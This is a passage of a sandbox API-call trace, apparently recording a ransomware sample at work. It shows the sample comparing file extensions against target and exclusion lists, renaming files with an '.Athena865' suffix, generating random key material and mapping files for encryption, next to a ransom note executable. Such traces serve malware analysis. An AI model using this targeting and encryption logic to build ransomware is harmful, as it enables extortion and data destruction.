lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0095.933] lstrlenW (lpString="itdb") returned 4 [0095.933] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0095.933] lstrlenW (lpString="itw") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0095.933] lstrlenW (lpString="jet") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0095.933] lstrlenW (lpString="jtx") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0095.933] lstrlenW (lpString="kdb") returned 3 [0095.933] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0095.933] lstrlenW (lpString="kexi") returned 4 [0095.933] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0095.933] lstrlenW (lpString="kexic") returned 5 [0095.934] lstrcmpiW (lpString1="r.exe", lpString2="kexic") returned 1 [0095.934] lstrlenW (lpString="kexis") returned 5 [0095.934] lstrcmpiW (lpString1="r.exe", lpString2="kexis") returned 1 [0095.934] lstrlenW (lpString="lgc") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0095.934] lstrlenW (lpString="lwx") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0095.934] lstrlenW (lpString="maf") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0095.934] lstrlenW (lpString="maq") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0095.934] lstrlenW (lpString="mar") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0095.934] lstrlenW (lpString="marshal") returned 7 [0095.934] lstrcmpiW (lpString1="per.exe", lpString2="marshal") returned 1 [0095.934] lstrlenW (lpString="mas") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0095.934] lstrlenW (lpString="mav") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0095.934] lstrlenW (lpString="maw") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0095.934] lstrlenW (lpString="mdbhtml") returned 7 [0095.934] lstrcmpiW (lpString1="per.exe", lpString2="mdbhtml") returned 1 [0095.934] lstrlenW (lpString="mdn") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0095.934] lstrlenW (lpString="mdt") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0095.934] lstrlenW (lpString="mfd") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0095.934] lstrlenW (lpString="mpd") returned 3 [0095.934] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0095.934] lstrlenW (lpString="mrg") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0095.935] lstrlenW (lpString="mud") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0095.935] lstrlenW (lpString="mwb") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0095.935] lstrlenW (lpString="myd") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0095.935] lstrlenW (lpString="ndf") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0095.935] lstrlenW (lpString="nnt") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0095.935] lstrlenW (lpString="nrmlib") returned 6 [0095.935] lstrcmpiW (lpString1="er.exe", lpString2="nrmlib") returned -1 [0095.935] lstrlenW (lpString="ns2") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0095.935] lstrlenW (lpString="ns3") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0095.935] lstrlenW (lpString="ns4") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0095.935] lstrlenW (lpString="nsf") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0095.935] lstrlenW (lpString="nv") returned 2 [0095.935] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0095.935] lstrlenW (lpString="nv2") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0095.935] lstrlenW (lpString="nwdb") returned 4 [0095.935] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0095.935] lstrlenW (lpString="nyf") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0095.935] lstrlenW (lpString="odb") returned 3 [0095.935] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0095.935] lstrlenW (lpString="odb") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0095.936] lstrlenW (lpString="oqy") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0095.936] lstrlenW (lpString="ora") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0095.936] lstrlenW (lpString="orx") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0095.936] lstrlenW (lpString="owc") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0095.936] lstrlenW (lpString="p96") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0095.936] lstrlenW (lpString="p97") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0095.936] lstrlenW (lpString="pan") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0095.936] lstrlenW (lpString="pdb") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0095.936] lstrlenW (lpString="pdm") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0095.936] lstrlenW (lpString="pnz") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0095.936] lstrlenW (lpString="qry") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0095.936] lstrlenW (lpString="qvd") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0095.936] lstrlenW (lpString="rbf") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0095.936] lstrlenW (lpString="rctd") returned 4 [0095.936] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0095.936] lstrlenW (lpString="rod") returned 3 [0095.936] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0095.937] lstrlenW (lpString="rodx") returned 4 [0095.937] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0095.937] lstrlenW (lpString="rpd") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0095.937] lstrlenW (lpString="rsd") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0095.937] lstrlenW (lpString="sas7bdat") returned 8 [0095.937] lstrcmpiW (lpString1="lper.exe", lpString2="sas7bdat") returned -1 [0095.937] lstrlenW (lpString="sbf") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0095.937] lstrlenW (lpString="scx") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0095.937] lstrlenW (lpString="sdb") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0095.937] lstrlenW (lpString="sdc") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0095.937] lstrlenW (lpString="sdf") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0095.937] lstrlenW (lpString="sis") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0095.937] lstrlenW (lpString="spq") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0095.937] lstrlenW (lpString="te") returned 2 [0095.937] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0095.937] lstrlenW (lpString="teacher") returned 7 [0095.937] lstrcmpiW (lpString1="per.exe", lpString2="teacher") returned -1 [0095.937] lstrlenW (lpString="tmd") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0095.937] lstrlenW (lpString="tps") returned 3 [0095.937] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0095.937] lstrlenW (lpString="trc") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0095.938] lstrlenW (lpString="trc") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0095.938] lstrlenW (lpString="trm") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0095.938] lstrlenW (lpString="udb") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0095.938] lstrlenW (lpString="udl") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0095.938] lstrlenW (lpString="usr") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0095.938] lstrlenW (lpString="v12") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0095.938] lstrlenW (lpString="vis") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0095.938] lstrlenW (lpString="vpd") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0095.938] lstrlenW (lpString="vvv") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0095.938] lstrlenW (lpString="wdb") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0095.938] lstrlenW (lpString="wmdb") returned 4 [0095.938] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0095.938] lstrlenW (lpString="wrk") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0095.938] lstrlenW (lpString="xdb") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0095.938] lstrlenW (lpString="xld") returned 3 [0095.938] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0095.938] lstrlenW (lpString="xmlff") returned 5 [0095.938] lstrcmpiW (lpString1="r.exe", lpString2="xmlff") returned -1 [0095.939] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe.Athena865") returned 69 [0095.939] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\helper.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\helper.exe.athena865"), dwFlags=0x1) returned 1 [0095.939] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\helper.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.939] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=872352) returned 1 [0095.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0095.940] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0095.940] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.941] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0095.941] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd52a0, lpName=0x0) returned 0x154 [0095.947] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd52a0) returned 0x2d50000 [0096.008] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0096.009] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.009] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0096.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0096.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.010] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0096.017] CloseHandle (hObject=0x154) returned 1 [0096.017] CloseHandle (hObject=0x17c) returned 1 [0096.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0096.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.022] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2cfc680, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc2cfc680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.023] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.023] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925200, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1049400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shortcuts_log.ini", cAlternateFileName="SHORTC~1.INI")) returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="..") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="windows") returned -1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="bootmgr") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="temp") returned -1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="pagefile.sys") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="boot") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="ids.txt") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="ntuser.dat") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="perflogs") returned 1 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2="MSBuild") returned 1 [0096.023] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0096.023] lstrcpyW (in: lpString1=0x241e8aa, lpString2="shortcuts_log.ini" | out: lpString1="shortcuts_log.ini") returned="shortcuts_log.ini" [0096.023] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0096.023] lstrlenW (lpString="Athena865") returned 9 [0096.023] lstrcmpiW (lpString1="s_log.ini", lpString2="Athena865") returned 1 [0096.023] lstrlenW (lpString=".dll") returned 4 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".dll") returned 1 [0096.023] lstrlenW (lpString=".lnk") returned 4 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".lnk") returned 1 [0096.023] lstrlenW (lpString=".ini") returned 4 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".ini") returned 1 [0096.023] lstrlenW (lpString=".sys") returned 4 [0096.023] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".sys") returned 1 [0096.024] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0096.024] lstrlenW (lpString="bak") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0096.024] lstrlenW (lpString="ba_") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0096.024] lstrlenW (lpString="dbb") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0096.024] lstrlenW (lpString="vmdk") returned 4 [0096.024] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0096.024] lstrlenW (lpString="rar") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0096.024] lstrlenW (lpString="zip") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0096.024] lstrlenW (lpString="tgz") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0096.024] lstrlenW (lpString="vbox") returned 4 [0096.024] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0096.024] lstrlenW (lpString="vdi") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0096.024] lstrlenW (lpString="vhd") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0096.024] lstrlenW (lpString="vhdx") returned 4 [0096.024] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0096.024] lstrlenW (lpString="avhd") returned 4 [0096.024] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0096.024] lstrlenW (lpString="db") returned 2 [0096.024] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0096.024] lstrlenW (lpString="db2") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0096.024] lstrlenW (lpString="db3") returned 3 [0096.024] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0096.025] lstrlenW (lpString="dbf") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0096.025] lstrlenW (lpString="mdf") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0096.025] lstrlenW (lpString="mdb") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0096.025] lstrlenW (lpString="sql") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0096.025] lstrlenW (lpString="sqlite") returned 6 [0096.025] lstrcmpiW (lpString1="og.ini", lpString2="sqlite") returned -1 [0096.025] lstrlenW (lpString="sqlite3") returned 7 [0096.025] lstrcmpiW (lpString1="log.ini", lpString2="sqlite3") returned -1 [0096.025] lstrlenW (lpString="sqlitedb") returned 8 [0096.025] lstrcmpiW (lpString1="_log.ini", lpString2="sqlitedb") returned -1 [0096.025] lstrlenW (lpString="xml") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0096.025] lstrlenW (lpString="$er") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0096.025] lstrlenW (lpString="4dd") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0096.025] lstrlenW (lpString="4dl") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0096.025] lstrlenW (lpString="^^^") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0096.025] lstrlenW (lpString="abs") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0096.025] lstrlenW (lpString="abx") returned 3 [0096.025] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0096.025] lstrlenW (lpString="accdb") returned 5 [0096.025] lstrcmpiW (lpString1="g.ini", lpString2="accdb") returned 1 [0096.025] lstrlenW (lpString="accdc") returned 5 [0096.026] lstrcmpiW (lpString1="g.ini", lpString2="accdc") returned 1 [0096.026] lstrlenW (lpString="accde") returned 5 [0096.026] lstrcmpiW (lpString1="g.ini", lpString2="accde") returned 1 [0096.026] lstrlenW (lpString="accdr") returned 5 [0096.026] lstrcmpiW (lpString1="g.ini", lpString2="accdr") returned 1 [0096.026] lstrlenW (lpString="accdt") returned 5 [0096.026] lstrcmpiW (lpString1="g.ini", lpString2="accdt") returned 1 [0096.026] lstrlenW (lpString="accdw") returned 5 [0096.026] lstrcmpiW (lpString1="g.ini", lpString2="accdw") returned 1 [0096.026] lstrlenW (lpString="accft") returned 5 [0096.026] lstrcmpiW (lpString1="g.ini", lpString2="accft") returned 1 [0096.026] lstrlenW (lpString="adb") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0096.026] lstrlenW (lpString="adb") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0096.026] lstrlenW (lpString="ade") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0096.026] lstrlenW (lpString="adf") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0096.026] lstrlenW (lpString="adn") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0096.026] lstrlenW (lpString="adp") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0096.026] lstrlenW (lpString="alf") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0096.026] lstrlenW (lpString="ask") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0096.026] lstrlenW (lpString="btr") returned 3 [0096.026] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0096.027] lstrlenW (lpString="cat") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0096.027] lstrlenW (lpString="cdb") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0096.027] lstrlenW (lpString="ckp") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0096.027] lstrlenW (lpString="cma") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0096.027] lstrlenW (lpString="cpd") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0096.027] lstrlenW (lpString="dacpac") returned 6 [0096.027] lstrcmpiW (lpString1="og.ini", lpString2="dacpac") returned 1 [0096.027] lstrlenW (lpString="dad") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0096.027] lstrlenW (lpString="dadiagrams") returned 10 [0096.027] lstrcmpiW (lpString1="ts_log.ini", lpString2="dadiagrams") returned 1 [0096.027] lstrlenW (lpString="daschema") returned 8 [0096.027] lstrcmpiW (lpString1="_log.ini", lpString2="daschema") returned -1 [0096.027] lstrlenW (lpString="db-journal") returned 10 [0096.027] lstrcmpiW (lpString1="ts_log.ini", lpString2="db-journal") returned 1 [0096.027] lstrlenW (lpString="db-shm") returned 6 [0096.027] lstrcmpiW (lpString1="og.ini", lpString2="db-shm") returned 1 [0096.027] lstrlenW (lpString="db-wal") returned 6 [0096.027] lstrcmpiW (lpString1="og.ini", lpString2="db-wal") returned 1 [0096.027] lstrlenW (lpString="dbc") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0096.027] lstrlenW (lpString="dbs") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0096.027] lstrlenW (lpString="dbt") returned 3 [0096.027] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0096.028] lstrlenW (lpString="dbv") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0096.028] lstrlenW (lpString="dbx") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0096.028] lstrlenW (lpString="dcb") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0096.028] lstrlenW (lpString="dct") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0096.028] lstrlenW (lpString="dcx") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0096.028] lstrlenW (lpString="ddl") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0096.028] lstrlenW (lpString="dlis") returned 4 [0096.028] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0096.028] lstrlenW (lpString="dp1") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0096.028] lstrlenW (lpString="dqy") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0096.028] lstrlenW (lpString="dsk") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0096.028] lstrlenW (lpString="dsn") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0096.028] lstrlenW (lpString="dtsx") returned 4 [0096.028] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0096.028] lstrlenW (lpString="dxl") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0096.028] lstrlenW (lpString="eco") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0096.028] lstrlenW (lpString="ecx") returned 3 [0096.028] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0096.028] lstrlenW (lpString="edb") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0096.029] lstrlenW (lpString="epim") returned 4 [0096.029] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0096.029] lstrlenW (lpString="fcd") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0096.029] lstrlenW (lpString="fdb") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0096.029] lstrlenW (lpString="fic") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0096.029] lstrlenW (lpString="flexolibrary") returned 12 [0096.029] lstrcmpiW (lpString1="cuts_log.ini", lpString2="flexolibrary") returned -1 [0096.029] lstrlenW (lpString="fm5") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0096.029] lstrlenW (lpString="fmp") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0096.029] lstrlenW (lpString="fmp12") returned 5 [0096.029] lstrcmpiW (lpString1="g.ini", lpString2="fmp12") returned 1 [0096.029] lstrlenW (lpString="fmpsl") returned 5 [0096.029] lstrcmpiW (lpString1="g.ini", lpString2="fmpsl") returned 1 [0096.029] lstrlenW (lpString="fol") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0096.029] lstrlenW (lpString="fp3") 